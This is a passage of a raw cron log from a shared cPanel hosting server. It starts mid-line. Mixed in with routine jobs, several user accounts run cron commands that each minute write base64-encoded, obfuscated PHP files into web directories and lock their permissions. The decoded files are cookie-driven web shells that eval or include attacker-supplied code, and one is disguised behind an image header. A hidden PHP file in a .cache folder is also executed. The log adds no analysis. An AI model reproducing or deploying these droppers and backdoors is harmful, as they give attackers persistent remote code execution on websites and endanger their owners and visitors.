CYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:22:02 medusa CROND[17921]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:22:02 medusa CROND[17922]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 15:22:02 medusa CROND[17923]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:22:02 medusa CROND[17924]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:22:02 medusa CROND[17925]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:22:02 medusa CROND[17926]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:22:02 medusa CROND[17929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:22:02 medusa CROND[17931]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 15:23:01 medusa CROND[19691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:23:01 medusa CROND[19695]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:23:01 medusa CROND[19743]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:23:01 medusa CROND[19745]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 15:23:01 medusa CROND[19746]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:23:01 medusa CROND[19748]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:23:01 medusa CROND[19749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:23:01 medusa CROND[19751]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:23:01 medusa CROND[19752]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:23:01 medusa CROND[19757]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:23:01 medusa CROND[19759]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:23:01 medusa CROND[19760]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:24:01 medusa CROND[21359]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:24:01 medusa CROND[21360]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:24:01 medusa CROND[21361]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:24:01 medusa CROND[21362]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:24:01 medusa CROND[21363]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 15:24:01 medusa CROND[21364]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:24:01 medusa CROND[21365]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:24:01 medusa CROND[21367]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:24:01 medusa CROND[21368]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:24:01 medusa CROND[21371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:24:01 medusa CROND[21372]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:24:01 medusa CROND[21375]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:24:01 medusa CROND[21377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:25:01 medusa CROND[23119]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
